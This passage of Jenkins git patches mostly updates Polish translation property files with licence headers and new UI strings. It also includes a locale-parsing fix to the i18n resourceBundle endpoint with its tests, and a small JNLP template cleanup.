charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -32,4 +32,10 @@ Unpin=Odepnij Version=Wersja downgradeTo=Powr\u00F3\u0107 do starszej wersji {0} requires.restart=Wymagane jest ponowne uruchomienie Jenkinsa. Zmiany wtyczek w tym momencie s\u0105 bardzo niewskazane. Uruchom ponownie Jenkinsa, zanim wprowadzisz zmiany. -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins \ No newline at end of file +Uninstallation\ pending=Trwa odinstalowywanie +This\ plugin\ cannot\ be\ disabled=Ta wtyczka nie mo\u017Ce by\u0107 wy\u0142\u0105czona +No\ plugins\ installed.=Brak zainstalowanych wtyczek +This\ plugin\ cannot\ be\ enabled=Ta wtyczka nie mo\u017Ce by\u0107 wy\u0142\u0105czona +Update\ Center=Centrum aktualizacji +Filter=Filtruj +No\ description\ available.=Opis nie jest dost\u0119pny diff --git a/core/src/main/resources/hudson/model/AbstractProject/configure-common_pl.properties b/core/src/main/resources/hudson/model/AbstractProject/configure-common_pl.properties index cda4b2957f..7f251d1bed 100644 --- a/core/src/main/resources/hudson/model/AbstractProject/configure-common_pl.properties +++ b/core/src/main/resources/hudson/model/AbstractProject/configure-common_pl.properties @@ -1,7 +1,24 @@ -# This file is under the MIT License by authors - -Advanced\ Project\ Options=Zaawansowane opcje projektu -Display\ Name=Nazwa wy\u015bwietlana -JDK\ to\ be\ used\ for\ this\ project=JDK u\u017cyte do budowy projektu -default.value=(Domy\u015blny) -Keep\ the\ build\ logs\ of\ dependencies=Trzymaj logi projekt\u00f3w zale\u017cnych +# The MIT License +# +# Copyright (c) 2004-2016, Sun Microsystems, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Display\ Name=Nazwa wy\u015Bwietlana +JDK\ to\ be\ used\ for\ this\ project=JDK u\u017Cyte do budowy projektu +Keep\ the\ build\ logs\ of\ dependencies=Trzymaj logi konsoli projekt\u00F3w zale\u017Cnych diff --git a/core/src/main/resources/hudson/model/AbstractProject/sidepanel_pl.properties b/core/src/main/resources/hudson/model/AbstractProject/sidepanel_pl.properties index 201bb0fedd..9e14bfa982 100644 --- a/core/src/main/resources/hudson/model/AbstractProject/sidepanel_pl.properties +++ b/core/src/main/resources/hudson/model/AbstractProject/sidepanel_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Sun Microsystems, Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -22,6 +22,8 @@ Back\ to\ Dashboard=Powr\u00F3t do tablicy Changes=Rejestr zmian -Wipe\ Out\ Workspace=Wyczy\u015b\u0107 przestrze\u0144 robocz\u0105 +Wipe\ Out\ Workspace=Wyczy\u015B\u0107 przestrze\u0144 robocz\u0105 Workspace=Przestrze\u0144 robocza -wipe.out.confirm=Czy na pewno wyczy\u015bci\u0107 przestrze\u0144 robocz\u0105? +wipe.out.confirm=Czy na pewno wyczy\u015Bci\u0107 przestrze\u0144 robocz\u0105? +Status=Status +Up=Powr\u00F3t diff --git a/core/src/main/resources/hudson/model/BuildAuthorizationToken/config_pl.properties b/core/src/main/resources/hudson/model/BuildAuthorizationToken/config_pl.properties new file mode 100644 index 0000000000..f65ddfe8ab --- /dev/null +++ b/core/src/main/resources/hudson/model/BuildAuthorizationToken/config_pl.properties @@ -0,0 +1,28 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Optionally\ append\ &cause\=Cause+Text\ to\ provide\ text\ that\ will\ be\ included\ in\ the\ recorded\ build\ cause.=Opcjonalnie do\u0142\u0105cz &cause=Cause+Text, aby dostarczy\u0107 tekst, kt\u00F3y b\u0119dzie informowa\u0142 o \u017Ar\u00F3dle budowania. +Use\ the\ following\ URL\ to\ trigger\ build\ remotely\:=U\u017Cyj tego adresu URL, aby wyzwoli\u0107 budowanie zdalnie +Authentication\ Token=Token autentyfikacji +Trigger\ builds\ remotely=Wyzwalaj budowanie zdalnie +e.g.,\ from\ scripts=np. przez skrypt +or=lub +Use\ the\ following\ URL\ to\ trigger\ build\ remotely=U\u017Cyj tego adresu URL, aby wyzwoli\u0107 budowanie zdalnie diff --git a/core/src/main/resources/hudson/model/Messages_pl.properties b/core/src/main/resources/hudson/model/Messages_pl.properties index 2430967bbe..705ca647da 100644 --- a/core/src/main/resources/hudson/model/Messages_pl.properties +++ b/core/src/main/resources/hudson/model/Messages_pl.properties @@ -1,4 +1,34 @@ +# The MIT License +# +# Copyright (c) 2004-2016, Sun Microsystems, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + ParametersDefinitionProperty.DisplayName=To zadanie jest sparametryzowane +StringParameterDefinition.DisplayName=Tekst +TextParameterDefinition.DisplayName=Tekst wielolinijkowy +FileParameterDefinition.DisplayName=Plik +BooleanParameterDefinition.DisplayName=Warto\u015B\u0107 logiczna +ChoiceParameterDefinition.DisplayName=Lista wyboru +ChoiceParameterDefinition.MissingChoices=Nie podano warto\u015Bci +PasswordParameterDefinition.DisplayName=Has\u0142o + ManageJenkinsAction.DisplayName=Zarz\u0105dzaj Jenkinsem Job.AllRecentBuildFailed=Wszystkie ostatnie zadania nie powiod\u0142y si\u0119. @@ -46,4 +76,6 @@ UpdateCenter.Status.Success=Zako\u0144czono pomy\u015Blnie MyViewsProperty.DisplayName=Moje widoki MyViewsProperty.GlobalAction.DisplayName=Moje widoki -FreeStyleProject.Description=To jest podstawowa funkcja Jenkinsa. Jenkins stworzy projekt \u0142\u0105cz\u0105cy dowolny SCM z dowolnym systemem buduj\u0105cym, mo\u017Ce to by\u0107 r\u00F3wnie\u017C wykorzystane do czego\u015B innego ni\u017C budowanie oprogramowania. \ No newline at end of file +FreeStyleProject.Description=To jest podstawowa funkcja Jenkinsa. Jenkins stworzy projekt \u0142\u0105cz\u0105cy dowolny SCM z dowolnym systemem buduj\u0105cym, mo\u017Ce to by\u0107 r\u00F3wnie\u017C wykorzystane do czego\u015B innego ni\u017C budowanie oprogramowania. +# Freestyle project +FreeStyleProject.DisplayName=Og\u00F3lny projekt diff --git a/core/src/main/resources/hudson/model/User/configure_pl.properties b/core/src/main/resources/hudson/model/User/configure_pl.properties index 9f7991a2af..ee7056f22e 100644 --- a/core/src/main/resources/hudson/model/User/configure_pl.properties +++ b/core/src/main/resources/hudson/model/User/configure_pl.properties @@ -1,4 +1,27 @@ -# This file is under the MIT License by authors +# The MIT License +# +# Copyright (c) 2004-2016, Sun Microsystems, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. Description=Opis Full\ name=Twoje imi\u0119 i nazwisko +# User \u2018{0}\u2019 Configuration +title=Konfiguracja u\u017Cytkownika \u2018{0}\u2019 +Save=Zapisz diff --git a/core/src/main/resources/hudson/search/Messages_pl.properties b/core/src/main/resources/hudson/search/Messages_pl.properties new file mode 100644 index 0000000000..831dc71a95 --- /dev/null +++ b/core/src/main/resources/hudson/search/Messages_pl.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +# Setting for search +UserSearchProperty.DisplayName=Ustawienia wyszukiwania diff --git a/core/src/main/resources/hudson/search/UserSearchProperty/config_pl.properties b/core/src/main/resources/hudson/search/UserSearchProperty/config_pl.properties new file mode 100644 index 0000000000..7355873179 --- /dev/null +++ b/core/src/main/resources/hudson/search/UserSearchProperty/config_pl.properties @@ -0,0 +1,24 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +Case-sensitivity=Wielko\u015B\u0107 liter +Insensitive\ search\ tool=Pomi\u0144 wielko\u015B\u0107 litler diff --git a/core/src/main/resources/hudson/tasks/ArtifactArchiver/config_pl.properties b/core/src/main/resources/hudson/tasks/ArtifactArchiver/config_pl.properties index 3752d192fa..75d09b7600 100644 --- a/core/src/main/resources/hudson/tasks/ArtifactArchiver/config_pl.properties +++ b/core/src/main/resources/hudson/tasks/ArtifactArchiver/config_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright 2014 Jesse Glick. +# Copyright 2014-2016 Jesse Glick, Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -20,4 +20,14 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -Fingerprint\ all\ archived\ artifacts=Odcisk palca wszystkich zarchiwizowanych artefakt\u00f3w +Fingerprint\ all\ archived\ artifacts=Odcisk palca wszystkich zarchiwizowanych artefakt\u00F3w +Files\ to\ archive=Pliki do zarchiwizowania +# Do not fail build if archiving returns nothing +allowEmptyArchive=Nie oznaczaj zadania niepowodzeniem, je\u015Bli nie odnaleziono plik\u00F3w do zarchiwizowania +Excludes=Pliki do pomini\u0119cia +# Treat include and exclude patterns as case sensitive +caseSensitive=Uwzgl\u0119dniaj wielko\u015B\u0107 liter przy filtrowaniu plik\u00F3w do zarchiwizowania +# Archive artifacts only if build is successful +onlyIfSuccessful=Archiwizuj pliki tylko, je\u015Bli zadanie zako\u0144czy\u0142o si\u0119 powodzeniem +# Use default excludes +defaultExcludes=U\u017Cywaj domy\u015Blnego filtru dla plik\u00F3w, kt\u00F3re nale\u017Cy pomin\u0105\u0107 diff --git a/core/src/main/resources/hudson/tasks/LogRotator/config_pl.properties b/core/src/main/resources/hudson/tasks/LogRotator/config_pl.properties index c52764d174..ff13ee9006 100644 --- a/core/src/main/resources/hudson/tasks/LogRotator/config_pl.properties +++ b/core/src/main/resources/hudson/tasks/LogRotator/config_pl.properties @@ -1,7 +1,30 @@ -# This file is under the MIT License by authors +# The MIT License +# +# Copyright (c) 2004-2016, Sun Microsystems, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. Days\ to\ keep\ artifacts=Ilo\u015B\u0107 dni przechowywania artefaktu -Days\ to\ keep\ builds=Ilo\u015B\u0107 dni przechowywania zada\u0144 -Max\ #\ of\ builds\ to\ keep=Maksymalna ilo\u015B\u0107 przechowywanych zada\u0144 -if\ not\ empty,\ build\ records\ are\ only\ kept\ up\ to\ this\ number\ of\ days=Je\u015Bli nie jest puste, zadania s\u0105 przechowywane podan\u0105 ilo\u015B\u0107 dni +Days\ to\ keep\ builds=Maksymalny czas przechowywania w dniach +if\ not\ empty,\ build\ records\ are\ only\ kept\ up\ to\ this\ number\ of\ days=Je\u015Bli nie jest puste, zadania s\u0105 przechowywane tyle dni, ile podano if\ not\ empty,\ only\ up\ to\ this\ number\ of\ build\ records\ are\ kept=Je\u015Bli nie jest puste, przechowywanych jest tyle zada\u0144, ile podano +Max\ \#\ of\ builds\ to\ keep\ with\ artifacts=Maksymalna ilo\u015B\u0107 zada\u0144 przechowywanych z artefaktami +if\ not\ empty,\ only\ up\ to\ this\ number\ of\ builds\ have\ their\ artifacts\ retained=Je\u015Bli nie jest puste, przechowywanych jest tyle zada\u0144 z artefaktami, ile podano +if\ not\ empty,\ artifacts\ from\ builds\ older\ than\ this\ number\ of\ days\ will\ be\ deleted,\ but\ the\ logs,\ history,\ reports,\ etc\ for\ the\ build\ will\ be\ kept=Je\u015Bli nie jest puste, artefakty z zada\u0144 starsze ni\u017C podana ilo\u015B\u0107 dni b\u0119d\u0105 usuni\u0119te, ale rejestr zdarze\u0144, historia, raporty itp b\u0119d\u0105 zachowane +Max\ \#\ of\ builds\ to\ keep=Maksymalna ilo\u015B\u0107 zada\u0144 do przechowania diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/config_pl.properties b/core/src/main/resources/hudson/triggers/SCMTrigger/config_pl.properties new file mode 100644 index 0000000000..ce553b93e0 --- /dev/null +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/config_pl.properties @@ -0,0 +1,22 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Schedule=Harmonogram diff --git a/core/src/main/resources/hudson/triggers/TimerTrigger/config_pl.properties b/core/src/main/resources/hudson/triggers/TimerTrigger/config_pl.properties new file mode 100644 index 0000000000..2210111174 --- /dev/null +++ b/core/src/main/resources/hudson/triggers/TimerTrigger/config_pl.properties @@ -0,0 +1,22 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Schedule=-Harmonogram diff --git a/core/src/main/resources/jenkins/management/Messages_pl.properties b/core/src/main/resources/jenkins/management/Messages_pl.properties index 0193fb3c76..bae564f04c 100644 --- a/core/src/main/resources/jenkins/management/Messages_pl.properties +++ b/core/src/main/resources/jenkins/management/Messages_pl.properties @@ -1,7 +1,6 @@ -# # The MIT License # -# Copyright (c) 2012, CloudBees, Intl., Nicolas De loof +# Copyright (c) 2012-2016, CloudBees, Intl., Nicolas De loof, Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -20,7 +19,6 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -# ConfigureLink.DisplayName=Skonfiguruj system ConfigureLink.Description=Konfiguruj ustawienia globalne i \u015Bcie\u017Cki. @@ -53,3 +51,7 @@ NodesLink.Description=Dodawaj, usuwaj, kontroluj i monitoruj r\u00F3\u017Cne w\u ShutdownLink.DisplayName_prepare=Przygotuj do wy\u0142\u0105czenia ShutdownLink.DisplayName_cancel=Anuluj wy\u0142\u0105czenie ShutdownLink.Description=Zatrzyma wykonanie nowych build\u00F3w, tak by system m\u00F3g\u0142by\u0107 bezpiecznie wy\u0142\u0105czony. +# Global Tool Configuration +ConfigureTools.DisplayName=Globalne narz\u0119dzia do konfiguracji +# Configure tools, their locations and automatic installers. +ConfigureTools.Description=Konfiguruj narz\u0119dzia, \u015Bcie\u017Cki do nich i automatyczne instalatory diff --git a/core/src/main/resources/jenkins/triggers/ReverseBuildTrigger/config_pl.properties b/core/src/main/resources/jenkins/triggers/ReverseBuildTrigger/config_pl.properties new file mode 100644 index 0000000000..1dc6324ab4 --- /dev/null +++ b/core/src/main/resources/jenkins/triggers/ReverseBuildTrigger/config_pl.properties @@ -0,0 +1,25 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Trigger\ only\ if\ build\ is\ stable=Uruchamiaj tylko, je\u015Bli zadanie by\u0142o stabilne +Trigger\ even\ if\ the\ build\ is\ unstable=Uruchamiaj nawet, je\u015Bli zadanie by\u0142o niestabilne +Projects\ to\ watch=Obserwowane projekty +Trigger\ even\ if\ the\ build\ fails=Uruchamiaj nawet, je\u015Bli zadanie nie powiod\u0142o si\u0119 -- GitLab From 1256285f6272c94c12ac7038398a4fedae54bc9a Mon Sep 17 00:00:00 2001 From: Thorsten Scherler Date: Sat, 19 Nov 2016 22:30:51 +0100 Subject: [PATCH 521/811] [FIX JENKINS-39034] /i18n/resourceBundle should be conform to the w3c standard about locale negotiation (#2594) * [parseCountry] Extract region/country and variant from the language parameter in case it is bigger then 2 letters. Add tests for both cases. * [JENKINS-39034] remove debug system out * [JENKINS-39034] Only if we have 5 or more character we want to get the country - prevent NPE * [JENKINS-39034] use split since it is more general * [JENKINS-39034] Only override country and variant if not already set * [JENKINS-39034] better test cases to test whether the fallback and variant resolving work corret * [JENKINS-39034] remove duplicate tests and better name existing ones --- core/src/main/java/jenkins/I18n.java | 13 ++++++++- test/src/test/java/jenkins/I18nTest.java | 28 +++++++++++++++++++ .../jenkins/i18n/Messages.properties | 1 + .../jenkins/i18n/Messages_en_AU.properties | 1 + .../i18n/Messages_en_AU_variant.properties | 1 + 5 files changed, 43 insertions(+), 1 deletion(-) create mode 100644 test/src/test/resources/jenkins/i18n/Messages.properties create mode 100644 test/src/test/resources/jenkins/i18n/Messages_en_AU.properties create mode 100644 test/src/test/resources/jenkins/i18n/Messages_en_AU_variant.properties diff --git a/core/src/main/java/jenkins/I18n.java b/core/src/main/java/jenkins/I18n.java index d0f36ae3a4..35722c4941 100644 --- a/core/src/main/java/jenkins/I18n.java +++ b/core/src/main/java/jenkins/I18n.java @@ -93,7 +93,18 @@ public class I18n implements RootAction { String language = request.getParameter("language"); String country = request.getParameter("country"); String variant = request.getParameter("variant"); - + // https://www.w3.org/International/questions/qa-lang-priorities + // in case we have regions/countries in the language query parameter + if (language != null) { + String[] languageTokens = language.split("-|_"); + language = languageTokens[0]; + if (country == null && languageTokens.length > 1) { + country = languageTokens[1]; + if (variant == null && languageTokens.length > 2) { + variant = languageTokens[2]; + } + } + } try { Locale locale = request.getLocale(); diff --git a/test/src/test/java/jenkins/I18nTest.java b/test/src/test/java/jenkins/I18nTest.java index 5f2da8e793..a28dd1b41a 100644 --- a/test/src/test/java/jenkins/I18nTest.java +++ b/test/src/test/java/jenkins/I18nTest.java @@ -76,4 +76,32 @@ public class I18nTest { JSONObject data = response.getJSONObject("data"); Assert.assertEquals("Initialisiere Log-Rekorder", data.getString("LogRecorderManager.init")); } + + @Issue("JENKINS-39034") + @Test // variant testing + public void test_valid_region_variant() throws IOException, SAXException { + JSONObject response = jenkinsRule.getJSON("i18n/resourceBundle?baseName=jenkins.i18n.Messages&language=en_AU_variant").getJSONObject(); + Assert.assertEquals("ok", response.getString("status")); + JSONObject data = response.getJSONObject("data"); + Assert.assertEquals("value_au_variant", data.getString("Key")); + } + + @Issue("JENKINS-39034") + @Test //country testing with delimeter '-' instead of '_' + public void test_valid_region() throws IOException, SAXException { + JSONObject response = jenkinsRule.getJSON("i18n/resourceBundle?baseName=jenkins.i18n.Messages&language=en-AU").getJSONObject(); + Assert.assertEquals("ok", response.getString("status")); + JSONObject data = response.getJSONObject("data"); + Assert.assertEquals("value_au", data.getString("Key")); + } + + @Issue("JENKINS-39034") + @Test //fallthrough to default language if variant does not exit + public void test_valid_fallback() throws IOException, SAXException { + JSONObject response = jenkinsRule.getJSON("i18n/resourceBundle?baseName=jenkins.i18n.Messages&language=en_NZ_variant").getJSONObject(); + Assert.assertEquals("ok", response.getString("status")); + JSONObject data = response.getJSONObject("data"); + Assert.assertEquals("value", data.getString("Key")); + } + } diff --git a/test/src/test/resources/jenkins/i18n/Messages.properties b/test/src/test/resources/jenkins/i18n/Messages.properties new file mode 100644 index 0000000000..79be40d0e6 --- /dev/null +++ b/test/src/test/resources/jenkins/i18n/Messages.properties @@ -0,0 +1 @@ +Key=value diff --git a/test/src/test/resources/jenkins/i18n/Messages_en_AU.properties b/test/src/test/resources/jenkins/i18n/Messages_en_AU.properties new file mode 100644 index 0000000000..435264bdcb --- /dev/null +++ b/test/src/test/resources/jenkins/i18n/Messages_en_AU.properties @@ -0,0 +1 @@ +Key=value_au diff --git a/test/src/test/resources/jenkins/i18n/Messages_en_AU_variant.properties b/test/src/test/resources/jenkins/i18n/Messages_en_AU_variant.properties new file mode 100644 index 0000000000..40c8280b3d --- /dev/null +++ b/test/src/test/resources/jenkins/i18n/Messages_en_AU_variant.properties @@ -0,0 +1 @@ +Key=value_au_variant -- GitLab From fbc072ee6c2bda1b069d0d4241617b432faf206b Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sat, 19 Nov 2016 23:17:48 +0100 Subject: [PATCH 522/811] [JENKINS-39883] Remove obsolete property from slave-agent.jnlp file (#2629) --- .../resources/hudson/slaves/SlaveComputer/slave-agent.jnlp.jelly | 1 - 1 file changed, 1 deletion(-) diff --git a/core/src/main/resources/hudson/slaves/SlaveComputer/slave-agent.jnlp.jelly b/core/src/main/resources/hudson/slaves/SlaveComputer/slave-agent.jnlp.jelly index 3d15dbb245..aff376cb8a 100644 --- a/core/src/main/resources/hudson/slaves/SlaveComputer/slave-agent.jnlp.jelly +++ b/core/src/main/resources/hudson/slaves/SlaveComputer/slave-agent.jnlp.jelly @@ -57,7 +57,6 @@ THE SOFTWARE. - -- GitLab From fd6c6aff929be9818f4eb4b84ed6b4593356853f Mon Sep 17 